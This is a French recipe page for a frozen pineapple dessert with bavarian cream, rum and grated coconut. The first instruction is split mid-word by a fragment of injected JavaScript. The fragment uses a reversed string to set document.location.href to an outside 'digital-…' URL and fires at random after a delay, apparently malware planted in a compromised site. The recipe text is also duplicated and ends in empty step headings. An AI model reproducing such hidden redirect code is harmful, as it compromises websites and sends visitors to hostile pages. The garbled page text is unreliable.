Ananas glacé
2021-04-13- Thématique : Végétarien
- Niveau : Difficile
Préparez la crème bavaroise et conservez-la au frais. Coupez l’ananas, retirez la pulpe en laissant 1 cm d’épaisseur autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour.
Détaillez en petits dés et obtenir 200 g de pulpe. Que vous faites macérer dans le rhum.
Ingrédients
Préparez la crème bavaroise et conservez-la au frais. Coupez l’ananas, retirez la pulpe en laissant 1 cm d’épaisseur autour.
Détaillez en petits dés et obtenir 200 g de pulpe. Que vous faites macérer dans le rhum.
Passez le reste de la pulpe au moulin à légumes, recouvrir de rhum et laissez macérer. Mélangez la pulpe, les dés d’ananas avec la crème bavaroise. Ajoutez la noix de coco râpée.
DégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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